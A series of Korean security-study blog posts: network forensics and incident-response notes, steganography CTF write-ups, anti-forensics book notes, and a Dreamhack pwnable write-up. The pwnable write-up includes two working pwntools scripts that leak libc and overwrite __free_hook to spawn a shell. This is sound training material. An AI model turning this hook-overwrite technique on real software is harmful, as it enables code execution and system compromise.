네트워크 보안은 방화벽 외부에 있는 위협에만 초점을 둬야 하는 것이 아니라 방화벽 내부에서 발생하는 위협에도 반드시 가져야 합니다. (회사 내부자가 공격할 수도 있으니까요..!)

 

4. 침해대응

미국 국립표준기술연구소(National Institute of Standards and Technology, NIST)에서 컴퓨터 보안 침해 처리 지침(Computer Security Incident Handling Guide)를 발간했는데, 침해대응 라이프 사이클에 대해서 다룹니다.

 

침해대응 단계로는 준비, 예방, 탐지 및 분석, 봉쇄, 박멸 및 복구 그리고 사후활동 등이 있습니다.

 

준비:

네트워크의 방어 수준을 정기적으로 평가하고 테스트하여 취약점을 식별해야 함.

예방책으로 패치 시스템(소프트웨어 최신 상태), 호스트 보안(컴퓨터의 보안 강화), 네트워크 보안(네트워크의 범위 보안), 사용자 인식 개선 및 교육 등이 있습니다. 

 

탐지 및 분석:

공격을 탐지하는 확률을 높이기 위해서는 네트워크 보안 인력의 많은 노력이 필요합니다.

공격의 징후로 백신 프로그램의 경고, 비정상적으로 느려진 인터넷, 비정상적인 네트워크 트래픽이 있습니다.

 

봉쇄, 박멸 및 복구:

침해가 발생하면 피해를 최소화하기 위해 반드시 통제해야 합니다.

일부 봉쇄 방안으로는 침해당한 컴퓨터의 시스템 전원 끄기, 네트워크 연결 차단, 장비의 일부 기능 비활성화 등이 있습니다. 

 

일단 공격이 식별되고 봉쇄되면, 악성코드나 침해된 계정 등 잠재적으로 위험한 요소들을 제거해야 합니다.

 

사후활동:

침해사고 후에 사고에 대해 검토하여 회사 전체에서 예전에 놓쳤던 부분을 확인하고 개선할 부분을 찾아야 합니다.

 

5. 네트워크 증거와 수사

해커들은 보통 공격대상으로 이어지는 네트워크 경로를 거치거나 통과해야 합니다. 따라서, 그 경로에는 증거가 있을 가능성이 있으며 공격자를 추적하거나 식별하는 과정에서 매우 핵심적입니다.

 

조사할 때에는 이렇게 네트워크 경로에 있는 장비를 최대한 많이 포함시켜야 합니다. 

라우터나 서버같이 경로에 있는 장비는 매우 중요한 정보를 저장하고 있을 수 있으니 간과해서는 안됩니다.

라우터에는 증거가 저장되어 있을 가능성이 있을 뿐만 아니라 해커의 공격대상이기 합니다.

라우터는 휘발성이니 주의해야 합니다.

 

로그파일

네트워크에 있는 많은 기기와 컴퓨터는 이벤트와 활동 로그를 생성합니다. 그래서 네트워크 조사에 있어서 로그 파일에 주로 증거가 있습니다. 

 

중요한 로그로는 인증, 프로그램, 운영체제, 방화벽 로그 등이 있습니다.

 

인증 로그:

특정 이벤트와 연관이 있는 계정을 식별합니다.

 

프로그램 로그:

날짜와 시간뿐만 아니라 프로그램 식별자도 기록합니다.

날짜/시간 정보는 프로그램이 언제 시작되었고, 얼마나 사용되었는지 보여줍니다.

 

운영체제 로그:

시스템 재부팅뿐만 아니라 어떤 기기를 사용했는지 추적합니다.

또한, 운영체제 로그는 네트워크의 활동 패턴과 비정상 활동을 인지하는데 유용합니다.

 

라우터나 방화벽 같은 장비가 생성된 로그 또한 조사할 가치가 있습니다.

(라우터 로그에는 유용한 정보가 많이 저장되어 있을 수 있기 때문이죠!)

  • 요청된 URL
  • 서버 이름
  • 서버 IP 주소
  • 클라이언트의 URL
  • 클라이언트의 IP 주소
  • 누가 언제 로그인했는지에 대한 기록

※라우터에서 증거를 수집하려고 할 때에는 최대한 라우터에 영향을 주지 않는 것이 매우 중요합니다.

그래서, 네트워크에서 라우터에 접속하는 대신에 라우터의 콘솔에 직접 접속하는 것이 훨씬 좋은 방법입니다.

=> 즉, 데이터를 잠재적으로 변조시킬 수 있는 그 어떤 명령어도 피해야 합니다.

ex. "configuration" 명령어 대신에 "show" 명령어 사용하는 것이 좋습니다.

 

네트워크 조사 툴

네트워크에서 돌아다니는 트래픽(패킷)에 중요한 단서가 있을 수 있습니다. 

이 때, 네트워크 트래픽을 캡쳐하고, 분석할 수 있는 툴을 "스니퍼"라고 부르는데 여러 가지 툴이 있습니다.

 

Wireshark

https://www.wireshark.org/

 

Wireshark · Go Deep.

What is SharkFest? SharkFest™, launched in 2008, is a series of annual educational conferences staged in various parts of the globe and focused on sharing knowledge, experience and best practices among the Wireshark® developer and user communities. Shar

www.wireshark.org

NetIntercept

https://www.securitywizardry.com/index.php/products/forensic-solutions/network-forensic-tools/niksun-netintercept

 

NIKSUN NetIntercept

NetIntercept is a network monitoring and analysis system. It is delivered as a complete system, with hardware and software pre-installed, ready to be placed in a machine room or NOC and plugged into the network at the firewall border.

www.securitywizardry.com

Netwitness Investigator 

https://community.rsa.com/community/products/netwitness/investigator

 

RSA NetWitness Investigator | RSA Link

RSA NetWitness® Investigator

community.rsa.com

Snort

https://www.snort.org/

 

Snort - Network Intrusion Detection & Prevention System

With over 5 million downloads and over 600,000 registered users, it is the most widely deployed intrusion prevention system in the world.

www.snort.org

네트워크 트래픽을 캡쳐하면,

어떤 파일이 도난 당했고 어떤 명령어가 실행되었으며 어떤 악의적인 페이로드가 전송되었는지 판단할 수 있게 됩니다.

 

6. 네트워크 조사의 문제점

공격자의 신원을 찾는 데 방해물이 되는 것이 많이 있어서, 공격자를 식별하는 것은 쉬운 일이 아닙니다.

 

용의자는 실제 IP 주소를 "스푸핑"하여 수사관들이 완전히 다른 IP 주소를 추적하게 만들 수 있으며,

전세계에 퍼져있는 여러 대의 서버를 경유하여 공격할 수도 있습니다.

 

일부의 경우에는 로그 기능이 비활성화되어 있어서 아무런 로그도 생성되지 않을 수도 있습니다.

(의도적으로 로그 기록을 지울 수도 있습니다.)

 

더불어, 침해가 너무 늦게 발견되면 외부에서 관리하는 로그의 경우(ex. ISP) 유지 및 삭제 정책에 의해 로그 자체가 삭제되었을 수도 있습니다.

 

마지막으로 관할권이 매우 큰 문제입니다. 

공격자의 흔적은 국경을 넘나들기 때문에 서로 다른 법적 관할권 특히 국제적인 법적 관할권과 관련되면 이러한 정보를 확보하기 위해 필요한 절차가 완전히 바뀔 수도 있습니다.


 

728x90
728x90

포렌식 교육 4주차 문제에 해당하는 Timisoara CTF 2019 Quals의 포렌식 분야 문제인

Tri-color QR 문제 풀이입니다.

 

우선, 이 문제는 포렌식 교육에서 제공된 문제입니다.

문제 파일을 공유할 수는 없겠지만, 풀이를 재밌게 봐주셨으면 합니다.

 

 

필요한 도구와 개념을 학습할 수 있는 사이트

 

개념 (푸터 시그니처 PK)

우선 해당 문제는 스테가노그래피를 다룬 문제이므로, 해당 개념을 알고 있어야 합니다.

다음 사이트에서 충분히 학습하실 수 있으니, 꼭 참조하시길 바랍니다!

(https://bpsecblog.wordpress.com/2016/08/21/amalmot_4/)

 

암알못의 암호핥기 – 스테가노그래피

막내선원의 암알못 탈출기, 고전암호 마지막 챕터! 스테가노 그래피(Steganography)에 대해 알아봅니다 :) 이번 편에서는 고전 암호 중 스테가노그래피(Steganography)에 대해 알아보겠습니다. 스테가노

bpsecblog.wordpress.com

필요한 도구

파일의 원본 내용을 읽을 수 있는

HxD 

(https://know0how.tistory.com/6)

 

[HxD] Hex Editor 프로그램 다운로드 및 사용법

Hex Editor(이하 Hxd), 헥스 에디터 또는 헥스 코드 에디터라는 명칭을 일컫고 있으며 이 프로그램에 대해 상세히 알고 시작하기 전에 기본적으로 알아둘 게 있습니다. 헥스(Hex)는 일반적으로 '십육

know0how.tistory.com

스테가노그래피 툴 중 하나인

숨겨진 텍스트를 보기 위해서 여러 개의 컬러 필터를 사용하는

Stegsolve

(http://www.caesum.com/handbook/stego.htm)

 

Cronos World

A Challengers Handbook by Caesum Steganography Steganography is the art of hiding things within other things, for example hiding a text message within a picture in some way. Normally you would never know that the original message is there if it is well hid

www.caesum.com

사용법

(https://www.codetd.com/en/article/10917173)

 

How to open and use stegsolve.jar compressed package - Code World

 

www.codetd.com

(https://ddang-9.tistory.com/31)

 

이미지 스테가노 툴 (Image stegano)

http://www.caesum.com/handbook/Stegsolve.jar stegsolve.jar을 Java(TM) Platform SE binary로 열면 이미지를 고를 수 있음 이미지 골라서 넘기다보면 숨겨진 글자 보임 혹은 위의 탭에 분석에 Extract Previe..

ddang-9.tistory.com


문제 풀이

자 그러면, 문제 풀이를 시작하겠습니다.

문제 파일

zip 파일이 주어집니다.

해당 파일을 압축해제 하면,

여러 색이 섞인 QR 코드

여러 색이 섞인 QR 코드 이미지 파일이 들어있습니다.

혹시나 해서 카메라로 QR코드 스캔해보니 아무것도 뜨지 않았습니다.

 

일단, HxD로 원본 데이터를 읽어봅시다.

HxD로 열어본 모습

헤더 시그니처에는 아무런 문제가 없었지만,

푸터 시그니처 뒤에는 추가적인 데이터가 들어간 것을 확인할 수 있습니다.

 

푸터 시그니처 뒤에

zip 즉, 압축 파일 시그니처인 PK(50 4B 03 04)가 보입니다.

(푸터 시그니처 뒤에 압축파일이 숨겨져 있었군요...!)

 

해당 부분만 따로 추출하여 다시 압축해제를 해보면,

숨겨진 answ 파일 

answer의 줄임말로 보이는 answ이름을 갖는 파일이 생성됩니다.

 

HxD로 열어본 결과,

answ hex

*******************flag}*****************

라는 값이 들어 있습니다.

아마 플래그 형식 ~~~~{~~~flag}~~~~을 의미하는 것 같습니다.

flag} 부분만 획득했습니다.

(여기서, 이제 더 어떻게 하나.... 막막했었어요..)

 

일단, 숨겨진 파일로는 얻을 수 있는 걸 다 얻은 것 같습니다.

 

혹시나 해서 OpenStego 툴로 QR코드 파일을 추출해봤지만,

숨겨져 있는게 발견되지 않았습니다.

 

파일 이름이 tri-color 이기도 하면서, QR 코드에 여러 색이 섞여 있기 때문에

RGB  관련이 있어 보입니다.

 

그래서, 색을 필터링해주는 도구가 없나 싶었는데

교육자님이 추천해준 툴 중에서

여러 개의 컬러 필터를 사용하는 Stegsolve 툴이 있어서 바로 사용해봤습니다.

 

Stegsolve로 열어서 넘기다 보면, 여러 가지 모습의 QR 코드가 나옵니다.

Stegsolve로 열어본 결과

엄청 많이 있어서

일단, 하나씩 카메라로 QR 코드 스캔을 해봤습니다.

 

그런데...!

 

FULL 빨간색, 초록색, 파란색에서 스캔되는 값이 있었습니다.

 

빨간색: ************TIMCTF{**************

초록색:  ************Th1s_is_A************

파란색: ************_4_part_**************

 

이를 잘 조합해보면,

TIMCTF{Th1s_is_A_4_part_flag} 임을 알 수 있습니다.

 

아마도 RGB에서 각각 정보를 얻고, 숨겨진 압축 파일에서도 정보를 얻어서

4 부분으로 된 플래그라는 의미의 플래그 값이 담긴 것 같습니다.

 


푸터 시그니처 뒤에 메시지와 더불어 압축 파일을 숨겨놓을 수 있다는 점과

이미지 파일에서 RGB에 따라서 정보를 각각 숨길 수 있다는 점을 알려준 문제였다.

 

 

 

728x90
728x90

포렌식 교육 4주차 문제에 해당하는 N0Named Wargame의 포렌식 분야 문제인

[C] Left Side B 문제 풀이입니다.

 

 N0Named Wargame 사이트는 다음과 같습니다. (그림 클릭 시 이동)


필요한 도구개념을 학습할 수 있는 사이트

 

개념 (LSB 변조)

우선 해당 문제는 스테가노그래피를 다룬 문제이므로, 해당 개념을 알고 있어야 합니다.

다음 사이트에서 충분히 학습하실 수 있으니, 꼭 참조하시길 바랍니다!

(https://bpsecblog.wordpress.com/2016/08/21/amalmot_4/)

 

암알못의 암호핥기 – 스테가노그래피

막내선원의 암알못 탈출기, 고전암호 마지막 챕터! 스테가노 그래피(Steganography)에 대해 알아봅니다 :) 이번 편에서는 고전 암호 중 스테가노그래피(Steganography)에 대해 알아보겠습니다. 스테가노

bpsecblog.wordpress.com

필요한 도구

파일의 원본 내용을 읽을 수 있는

HxD 

(https://know0how.tistory.com/6)

 

[HxD] Hex Editor 프로그램 다운로드 및 사용법

Hex Editor(이하 Hxd), 헥스 에디터 또는 헥스 코드 에디터라는 명칭을 일컫고 있으며 이 프로그램에 대해 상세히 알고 시작하기 전에 기본적으로 알아둘 게 있습니다. 헥스(Hex)는 일반적으로 '십육

know0how.tistory.com


문제 풀이

자 그러면, 문제 풀이를 시작하겠습니다.

문제

문제의 제목이 힌트라는 것과 zip 파일이 제공됩니다.

 

해당 파일을 다운받고, 압축을 풀어서 열어보면 다음과 같은 파일이 제공됩니다.

bmp 확장자

플래그 형식인 NND{fake_falg} B가 담겨있습니다.

 

음... 일단은 bmp 확장자인 것을 알 수 있습니다.

 

잘 모르겠으니, HxD로 열어서 분석해봅시다.

 

HxD로 열어본 모습

우선, 헤더 시그니처로 42 4D가 있어서 확장자 bmp에 알맞습니다.

그런데, 0xFFFFFF로 흰색을 나타내는 부분에서 FF가 아닌 FE로 되어 있는 모습이 보입니다.

 

스테가노그래피에서 LSB 변조가 있는데, 최하위 비트를 바꿔서 메시지를 숨기는 방식입니다.

비트가 바뀌어 이미지가 변조되어도,

육안으로 보기에 0xFFFFFF와 0xFFFFFE의 색차이를 잘 느끼지 못합니다.

 

FF는 1111 1111

FE는 1111 1110

이므로, 둘의 차이점은 최하위 비트입니다.

 

그래서 FF는 1, FE는 0으로 볼 수 있습니다.

 

바꿔보면,

FE FF FE FE FF FF FF FE FE FF FE FE FF FF FF FE FE FF FE FE FE FF FE FE FE FF FF FF FF FE FF FF FE FF FF FE FF FF FE FE FE FF FF FE FF FE FE FF FE FF FF FF FE FE FF FF FE FF FF FF FE FF FE FE FE FF FF FE FE FF FE FF FE FF FF FE FF FF FF FE FE FF FE FF FF FF FF FF FE FF FF FE FF FF FE FE FE FF FF FE FF FE FE FF FE FF FF FF FE FE FF FF FE FF FF FF FE FF FE FE FE FF FF FE FE FF FE FF FE FF FF FE FF FF FF FE FE FF FE FF FF FF FF FF FE FF FE FE FF FE FE FF FE FF FE FE FE FE FF FF FE FF FE FE FE FE FE FF FE FF FE FE FF FF FF FE FE FF FE FF FF FF FF FF FE FF FF FE FF FF FE FE FE FF FF FE FF FE FE FF FE FF FF FF FE FE FF FF FE FF FF FF FE FF FE FE FE FF FF FE FE FF FE FF FE FF FF FE FF FF FF FE FE FF FF FF FF FF FE FF

01001110010011100100010001 11101101101100011010010111 00110111010001100101011011 10010111110110110001101001 01110011011101000110010101 10111001011111010010010100 00110100000101001110010111 11011011000110100101110011 01110100011001010110111001 111101

로 바뀝니다.

 

(저는 C로 프로그래밍할까 생각했지만 귀찮아서 노가다로 바꿨지만,

프로그래밍으로 바꿔주는 코드를 짜보는 것을 추천드립니다. )

 

2021.02.05 수정..!

C는 제약이 많아서 잘 안되는 것 같지만, 파이썬은 정말 간단하게 됩니다.

array = "FE FF FE FE FF FF FF FE FE FF FE FE FF FF FF FE FE FF FE FE FE FF FE FE FE FF FF FF FF FE FF FF FE FF FF FE FF FF FE FE FE FF FF FE FF FE FE FF FE FF FF FF FE FE FF FF FE FF FF FF FE FF FE FE FE FF FF FE FE FF FE FF FE FF FF FE FF FF FF FE FE FF FE FF FF FF FF FF FE FF FF FE FF FF FE FE FE FF FF FE FF FE FE FF FE FF FF FF FE FE FF FF FE FF FF FF FE FF FE FE FE FF FF FE FE FF FE FF FE FF FF FE FF FF FF FE FE FF FE FF FF FF FF FF FE FF FE FE FF FE FE FF FE FF FE FE FE FE FF FF FE FF FE FE FE FE FE FF FE FF FE FE FF FF FF FE FE FF FE FF FF FF FF FF FE FF FF FE FF FF FE FE FE FF FF FE FF FE FE FF FE FF FF FF FE FE FF FF FE FF FF FF FE FF FE FE FE FF FF FE FE FF FE FF FE FF FF FE FF FF FF FE FE FF FF FF FF FF FE FF"

binary = array.replace(" ", "").replace("FF", "1").replace("FE", "0")

print(binary)

 

 

이걸 변환해주는 사이트에 넣어보면 다음과 같이 플래그 값이 아스키 코드로 변환됩니다.

(www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html)

 

ASCII text,Hex,Binary,Decimal,Base64 converter

None Space Comma User defined

www.rapidtables.com

변환 완료

(hex 값을 가리지 않았지만, 직접 문제를 풀어보시길 바랍니다...!)

 

 


LSB를 모르고 처음 문제를 풀게 된다면 굉장히 어려운 문제일 것 같다.

개념을 배우고 풀다보니, 더 쉽게 풀 수 있었고,

문제를 통해서 개념을 명확히 짚고갈 수 있었던 것 같다.

 

 

728x90
728x90

포렌식 교육 4주차 문제에 해당하는 N0Named Wargame의 포렌식 분야 문제인

[A] 길에서 주어온 만두 문제 풀이입니다.

 

 N0Named Wargame 사이트는 다음과 같습니다. (그림 클릭 시 이동)


필요한 도구와 개념을 학습할 수 있는 사이트

 

개념

우선 해당 문제는 스테가노그래피를 다룬 문제이므로, 해당 개념을 알고 있어야 합니다.

다음 사이트에서 충분히 학습하실 수 있으니, 꼭 참조하시길 바랍니다!

(https://bpsecblog.wordpress.com/2016/08/21/amalmot_4/)

 

암알못의 암호핥기 – 스테가노그래피

막내선원의 암알못 탈출기, 고전암호 마지막 챕터! 스테가노 그래피(Steganography)에 대해 알아봅니다 :) 이번 편에서는 고전 암호 중 스테가노그래피(Steganography)에 대해 알아보겠습니다. 스테가노

bpsecblog.wordpress.com

 

필요한 도구

 

파일의 원본 내용을 읽을 수 있는

HxD 

(https://know0how.tistory.com/6)

 

[HxD] Hex Editor 프로그램 다운로드 및 사용법

Hex Editor(이하 Hxd), 헥스 에디터 또는 헥스 코드 에디터라는 명칭을 일컫고 있으며 이 프로그램에 대해 상세히 알고 시작하기 전에 기본적으로 알아둘 게 있습니다. 헥스(Hex)는 일반적으로 '십육

know0how.tistory.com

 

데이터를 숨기거나, 숨겨진 데이터를 추출할 수 있는

OpenStego

(https://www.openstego.com/)

 

OpenStego

English | Español Introduction Welcome to the homepage of OpenStego, the free steganography solution. OpenStego provides two main functionalities: Data Hiding: It can hide any data within a cover file (e.g. images). Watermarking (beta): Watermarking files

www.openstego.com

 

위의 툴은 자바 기반이라서 그런지 JRE를 꼭 설치해야 사용할 수 있습니다.

JRE 설치 방법

(https://webnautes.tistory.com/1133)

 

Windows에 JRE 설치하는 방법

Windows에 Java SE Runtime Environment(JRE)가 설치되었는지 여부 확인 및 JRE 설치하는 방법을 다룹니다. JRE 설치 여부 확인 방법 JRE 설치 방법 JRE 설치 여부 확인 방법 명령 프롬프트를 실행하기 위해 윈도

webnautes.tistory.com


문제 풀이

자 그러면, 문제 풀이를 시작하겠습니다.

 

문제

인형을 주웠는데, 비밀번호가 걸려있다고 합니다.

일단 문제 파일을 다운받아 봅시다.

big.png

마트료시카 인형 사진 파일입니다.

(음.. 암호가 걸려있을줄 알았는데?...)

 

우선, 이 파일을 분석해야 하니 HxD로 열어봅시다!

푸터 시그니처 뒤에 숨겨진 메시지

저는 항상 첫 번째로 헤더, 푸터 시그니처를 살펴봅니다.

(확장자가 잘못되었거나, 뭔가가 숨겨져 있을 수 있기 때문에..!)

 

살펴보니, 푸터 시그니처 뒤에 pass: 1234 라는 메시지가 담겨 있습니다.

의도적으로 암호를 알려준 것 같아요.

 

암호를 알았으니, OpenStego 툴을 이용해서 숨겨진 데이터를 추출해봅시다.

추출 과정

medium.png 파일이 나옵니다. 해당 파일도 마트료시카 인형 사진과 동일합니다.

(big -> medium 인걸 보니... 2 번 정도 더 해야 할 것 같다!)

HxD로 보았을 때  특이점은 없습니다.

 

 

마트료시카 그림을 통해서 여러 번 추출을 해야 함을 추론할 수 있습니다.

medium.png 파일을 한 번 더 추출하면

small.png 파일이 나옵니다.

 

추출 결과

small.png 파일을 한 번 더 추출하면

flag.txt 라는 파일이 추출되며, 플래그 값을 확인할 수 있습니다.

 

flag.txt

이렇게 문제가 해결됩니다.

 


푸터 시그니처 뒤에 메시지를 숨길 수 있다는 개념을 새롭게 알 수 있었다.

 

다만, 이게 스테가노그래피로 숨겨질 때의 암호이며,

추출할 필요가 있다는 사실을 어떤 근거로 추측하는지는 다소 의문이다..

728x90
728x90

해당 문제는 드림핵에 있는 '단계별로 도전하기' 파트의 문제입니다.

https://dreamhack.io/wargame/challenges/52/

 

hook

Desciption 이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.

dreamhack.io

오늘 풀어볼 문제는 드림핵에 있는 포너블 분야의 문제로

hook 문제입니다.

(관련 개념은 드림핵 사이트에서 학습하였습니다.)

 

 

 

문제 풀이 전 필요한 개념

 

이번 문제를 통해서 hook이라는 것에 대해서 알아볼 수 있습니다.

GNU C 라이브러리에는 malloc, realloc, free와 같은 함수를 제어하기 위한 변수로

__malloc_hook, __realloc_hook, __free_hook 등의 후킹 변수를 제공합니다.

 

이러한 후킹 변수에는 후킹 함수의 주소가 저장될 수 있는데,

저장된 경우에 malloc, realloc, free와 같은 함수가 호출될 때,

해당 함수 대신에 후킹 함수가 호출됩니다.

 

추가적으로 후킹이란, 다음과 같이 정의되어있습니다.

"후킹은 소프트웨어 공학 용어로, 운영 체제나 응용 소프트웨어 등의 각종 컴퓨터 프로그램에서 소프트웨어 구성 요소 간에 발생하는 함수 호출, 메시지, 이벤트 등을 중간에서 바꾸거나 가로채는 명령, 방법, 기술이나 행위를 말한다."

아마도 위의 정의와 비슷한 맥락으로 후킹이라는 이름이 붙여진 것 같습니다.

 

여기서, 만약에 후킹 변수에 원하는 함수 주소를 넣어줄 수 있다면,

malloc, realloc, free 함수가 실행될 때, 원하는 함수가 실행될 수 있다는 것이 중요한 점입니다.

(이러한 후킹 변수들은 라이브러리 쓰기 가능 영역에 존재합니다.)

 


자, 그럼 문제 풀이를 시작해보겠습니다.

 

문제

환경과 보호기법에 대한 정보와 문제 파일을 다운받을 수 있습니다.

 

다운받은 zip에는 실행파일, 소스코드, 라이브러리 파일이 들어있습니다.

 

우선, 소스코드를 확인해봅시다.

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

(드림핵은 친절하게 C 소스코드도 제공해줘서 좋은 것 같습니다.... 여러모로 공부하기 너무 좋은 것 같아요)

 

우선, stdout 포인터로 주소를 알려주고

문자열을 얼마나 받을지 size를 입력받고,

ptr에 size만큼 malloc으로 할당해줍니다.

 

할당받은 ptr에 값을 입력받고,

ptr[0]에 있는 값(주소 값)을 참조한 것에 ptr[1] 값을 넣어줍니다.

 

그리고, free를 두 번해주어서 종료됩니다.

 

 

풀이 구상

보호 기법Full RELRO Canary found로 인해서

got_overwrite는 불가능한 상황입니다.

(제가 아는 선에서는 다른 방법이 떠오르지 않네요... 문제 목적에 맞게 풀어야 할 것 같습니다.)

 

free가 두 번 사용되므로,

__free_hook 변수에 main에 있는 system("/bin/sh")주소를 넣거나,

one_gadget 주소를 넣어주면 될 것 같습니다.

 

넣어주는 방법은 어렵지 않습니다. 위의 코드를 보면,

*(long *)*ptr = *(ptr+1);

에서 ptr[0]에 들어간 값을 참조한 값에 ptr[1]에 있는 값을 대입해줍니다.

 

만약, __free_hook 변수 주소 + 넣어줄 주소 형식으로 대입된다면,

 (ptr[0] = __free_hook 변수, ptr[1] = 넣어줄 값)

__free_hook 변수에 들어있는 값이 우리가 원하는 주소로 바뀌게 됩니다.

 

 

페이로드 해설

이를 바탕으로 페이로드를 작성해보면 다음과 같이 두 가지 페이로드가 만들어집니다.

from pwn import*
p = remote("host1.dreamhack.games", 12281)
context.log_level = "debug"
e = ELF("./hook")
libc = ELF("./libc.so.6")

one_gadget = [0xf1147, 0x45216, 0x4526a, 0xf02a4]

p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
magic = libc_base + one_gadget[2]

payload = p64(free_hook) + p64(magic)

p.sendlineafter("Size: ", "400")


p.sendlineafter("Data: ", payload)

p.interactive()

우선, 첫 번째 페이로드는 one_gadget을 사용한 경우입니다.

 

stdout 주소를 통해서 libc_base를 알아냅니다.

libc_base를 기반으로 __free_hook 주소와 one_gadget의 주소를 알 수 있습니다.

 

넉넉하게 입력 사이즈는 400으로 했습니다.

payload에는  __free_hook 주소와 one_gadget 주소가 들어가서 전송됩니다.

 

그 결과, __free_hook 변수에 one_gadget 주소가 들어가게 되어

free 함수가 실행되면, 실제로는 one_gadget 실행되게 됩니다.

 

from pwn import*
p = remote("host1.dreamhack.games", 12281)
context.log_level = "debug"
e = ELF("./hook")
libc = ELF("./libc.so.6")

#one_gadget = [0xf1147, 0x45216, 0x4526a, 0xf02a4]
main_system = 0x0400A11

p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
#magic = libc_base + one_gadget[2]

payload = p64(free_hook) + p64(main_system)

p.sendlineafter("Size: ", "400")


p.sendlineafter("Data: ", payload)

p.interactive()

두 번째 페이로드는 main에 있는 system("/bin/sh")를 사용한 경우입니다.

위와 다 동일한데 one_gadget 대신에 main에 있는 system("/bin/sh") 주소를 넣어줍니다.

 

 

 

주소는 밑의 사진처럼 0x400a11 입니다.

main에서 system("/bin/sh") 주소

 

 

위의 페이로드를 실행시키면 다음과 같이 플래그를 획득할 수 있습니다.

 

플래그 획득


이번 문제는 3단계에 있는 포너블 문제였는데, hook에 대해서 새롭게 알게 되었다.

 

해당 개념을 바로 적용해볼 수 있는 아주 기초적인 문제였던 것 같다.

 

 

728x90
728x90

책 소개

제목: 이제 시작이야 디지털 포렌식

내용: 디지털 포렌식의 입문자들을 위한 책으로 포렌식의 기초를 다루고 있다. (비전공자들도 쉽게 보고 이해할 수 있음.)

개인적인 평가: 번역이 아쉬움.... (원문을 접할 수 있다면, 원문 보는 것을 추천함.)

 

http://www.yes24.com/Product/Goods/7526115

이제 시작이야! 디지털 포렌식

디지털 포렌식 입문을 위한 첫걸음 이 책은 디지털 포렌식에 새로이 입문하는 사람들에게 탄탄한 기초를 제공하는 입문서다. 디지털 포렌식이 무엇인지, 어떠한 방법론이 사용되는지, 핵심적인

www.yes24.com

6장 안티 포렌식

서론

포렌식 기술에 대응하기 위해 안티 포렌식 툴과 기술이 존재합니다.

"안티 포렌식은 디지털 데이터를 조작, 삭제 또는 난독화하여 조사를 어렵게 만들거나 시간이 많이 소요되도록 하거나, 아니면 거의  불가능하게 만드는 것을 의미함."

따라서, 6장에서는 디지털 증거를 은폐하거나 파괴하는 데 사용할 수 있는 여러 기술들을 살펴볼 예정입니다.

 

1. 데이터 은폐

데이터 은폐 기술은 파일 이름과 확장자 변조, 관계없는 디렉터리에 파일 숨기기, 파일 속에 파일 숨기기, 암호화 등 간단한 것부터 복잡한 것까지 다양합니다.

 

가장 중요한 암호화에 대해 집중적으로 다루어 보겠습니다.

 

암호화

암호화는 데이터를 암호문이라는 형태로 변환하여 승인되지 않은 사람들이 데이터를 쉽게 보지 못하도록 하는 것 입니다.

 

암호화는 평문에서 시작하여 암호문이 되는데,

평문은 원본 텍스트로 암호화되지 않은 메시지이며, 모든 사람들이 읽을 수 있습니다.

암호문은 평문을 기반으로 만들어지며 쉽게 이해할 수 없는 형태로 변환된 것입니다.

 

 

여기서 알고리즘은 암호화하는데 사용하는 방식이며, 키는 정보를 암호화하고 복호화하는 데 사용하는 데이터를 의미합니다.

 

보통 비밀번호와 비밀문구 등을 키로 자주 사용합니다.

 

여기서, 난독화와 암호화가 동일한 것처럼 보일 수 있지만 자세히 보면 다릅니다.

 

난독화와 암호화는 모두 특정 데이터나 텍스트를 이해하기 어렵게 만들기 위해 사용됩니다.

하지만, 난독화는 데이터 자체보다는 컴퓨터 코드를 보호하는 데 사용됩니다.

(리버스 엔지니어링으로부터 보호하기 위해)

 

알고리즘

간단하게 보면, 알고리즘은 특정 작업을 완료하기 위해 사용되는 "명령들"입니다.

어떤 일이나 문제를 해결하거나, 특정 목적을 달성하게끔 정해진 절차를 만들어주는 겁니다.

 

기본적으로 암호화 알고리즘은 대칭과 비대칭 두 종류가 있습니다.

대칭 암호화는 하나의 키로 데이터를 암호화하고 복호화합니다.

비대칭 암호화는 두 개의 서로 다른 키를 사용하여 암호화하고, 복호화할 때 사용되는 키가 다릅니다..

 

알고리즘: 비밀은 없다.

효과적인 암호 시스템에서는 키만이 유일하게 비밀이어야 한다고 합니다.

즉, 알고리즘 자체의 비밀성에 의존하는 모든 시스템은 보안적으로 안전하지 않다는 의미입니다.

(어떤 방식으로 암호화하는지 알려져도 키 값만 모른다면 암호화를 뚫을 수 없어야 한다는 의미입니다.)

 

그 이유는 폐쇄성을 유지하면 정말로 보안적으로 안전한지 아닌지 알 수 없기 때문입니다.

 

다시 말해서, 암호화하는 방식을 꽁꽁 숨기게 되면 충분한 검증이 안될 가능성이 존재한다는 의미입니다.

 

 

키 공간

키 공간(key space)는 특정 암호화 알고리즘의 강도에 대해서 이야기할 때 측정 기준으로 사용되는 것 중에 하나입니다.

(키 공간 혹은 키의 길이라고 불립니다.)

 

즉, 키 값의 길이에 따라서 무차별 대입 공격으로 암호를 크랙하는데 걸리는 시간이 달라집니다.

(단순하게 생각해서 키 값이 길면 경우의 수가 많아지므로 크랙하기 어렵겠죠..?!)

 

암호화의 예

암호화 프로그램은 여러 가지가 존재하는데,

파일이나 폴더를 암호화하는 데 사용할 수 있고, 드라이브 전체를 암호화하는 데 사용할 수 있습니다.

이때, 드라이브 전체를 암호화하는 것은 전체 디스크 암호화(full disk encryption 또는 whole  disk encryption)라고 부릅니다.

 

